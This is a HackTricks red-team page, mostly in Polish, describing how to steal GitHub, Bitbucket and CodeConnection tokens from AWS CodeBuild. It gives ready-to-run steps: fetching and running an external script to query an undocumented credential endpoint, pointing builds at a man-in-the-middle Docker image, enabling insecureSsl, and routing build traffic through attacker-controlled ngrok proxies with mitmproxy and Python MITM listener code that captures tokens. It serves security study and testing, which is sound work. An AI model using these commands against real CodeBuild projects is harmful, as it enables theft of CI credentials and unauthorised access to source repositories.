AWS Codebuild - Token Leakage

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Odzyskaj skonfigurowane Tokens Github/Bitbucket

Najpierw sprawdź, czy istnieją jakiekolwiek source credentials skonfigurowane, które możesz leak:

aws codebuild list-source-credentials

Przez RCE w zadaniu CodeBuild

Z poziomu zadania CodeBuild możesz wywołać nieudokumentowany endpoint API AWS CodeBuild, który zwróci dane uwierzytelniające używane przez CodeBuild. Może to posłużyć do uzyskania danych uwierzytelniających, z którymi skonfigurowano zadanie CodeBuild, np. dane uwierzytelniające AWS CodeConnection, OAUTH lub PAT. Zadanie CodeBuild nie musi mieć uprawnień, aby wywołać ten endpoint, a także trudno to wykryć w logach i monitoringu, ponieważ samo CodeBuild wywołuje ten endpoint kilkukrotnie podczas uruchamiania.

Technika jest opisana szerzej w https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/, ale w skrócie, aby uzyskać dane uwierzytelniające wewnątrz zadania CodeBuild, wystarczy uruchomić następujące:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Przez Docker Image

Jeśli stwierdzisz, że w koncie skonfigurowana jest autoryzacja, np. do Github, możesz exfiltrate ten access (GH token or OAuth token) powodując, że Codebuild użyje konkretnego Docker image do uruchomienia builda projektu.

W tym celu możesz utworzyć nowy Codebuild project lub zmienić environment istniejącego, aby ustawić Docker image.

Docker image, którego możesz użyć, to https://github.com/carlospolop/docker-mitm. To bardzo podstawowy Docker image, który ustawi zmienne środowiskowe https_proxy, http_proxy i SSL_CERT_FILE. Pozwoli to przechwycić większość ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufać certyfikatowi SSL wskazanemu w SSL_CERT_FILE.

  1. Utwórz & Prześlij własny Docker MitM image
  • Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, załadować certyfikat SSL i zbudować Docker image.
  • DO NOT SET http_proxy, aby nie przechwytywać żądań do metadata endpoint.
  • Możesz użyć ngrok, np. ngrok tcp 4444, aby ustawić proxy na swój host.
  • Gdy zbudujesz Docker image, prześlij go do publicznego repo (Dockerhub, ECR…)
  1. Skonfiguruj environment
  • Utwórz nowy Codebuild project lub zmodyfikuj environment istniejącego.
  • Ustaw projekt tak, aby używał wcześniej wygenerowanego Docker image
  1. Skonfiguruj MitM proxy na swoim hoście
  • Jak wskazano w Github repo, możesz użyć czegoś w stylu:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Użyta wersja mitmproxy to 9.0.1; zgłoszono, że w wersji 10 może to nie działać.

  1. Uruchom build & przechwyć poświadczenia
  • Możesz zobaczyć token w nagłówku Authorization:

Można to również zrobić za pomocą aws cli, np.:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Za pomocą insecureSSL

Codebuild projects have a setting called insecureSsl that is hidden in the web you can only change it from the API.
Włączenie tego pozwala Codebuild łączyć się z repozytorium bez sprawdzania certyfikatu oferowanego przez platformę.

  • Najpierw wyenumeruj aktualną konfigurację za pomocą czegoś takiego:
aws codebuild batch-get-projects --name <proj-name>
  • Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu insecureSsl na True. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na insecureSsl=True na końcu (to jest jedyna rzecz, którą musisz zmienić w uzyskanej konfiguracji).
  • Dodatkowo dodaj zmienne środowiskowe http_proxy i https_proxy, wskazujące na twój tcp ngrok w następujący sposób:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na koniec kliknij na Build the project, the credentials will be sent in clear text (base64) do portu mitm:

Przez protokół HTTP

[!TIP] > Ta podatność została naprawiona przez AWS mniej więcej w tygodniu 20 lutego 2023 (chyba w piątek). Więc attacker nie może już jej nadużywać :)

An attacker with elevated permissions in over a CodeBuild could leak the Github/Bitbucket token configured or if permissions was configured via OAuth, the temporary OAuth token used to access the code.

  • An attacker może dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazujące na jego maszynę (na przykład http://5.tcp.eu.ngrok.io:14972).
  • Następnie zmień URL repo github, aby używał HTTP zamiast HTTPS, na przykład: http://github.com/carlospolop-forks/TestActions
  • Następnie uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Następnie kliknij na Build the project lub uruchom build z wiersza poleceń:
aws codebuild start-build --project-name <proj-name>
  • Na koniec credentials zostaną wysłane w formie jawnego tekstu (base64) na port mitm:

Warning

Teraz attacker będzie w stanie użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż korzystając bezpośrednio z usługi CodeBuild.

Untrusted PR execution via webhook filter misconfiguration

Dla PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sprawdź:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks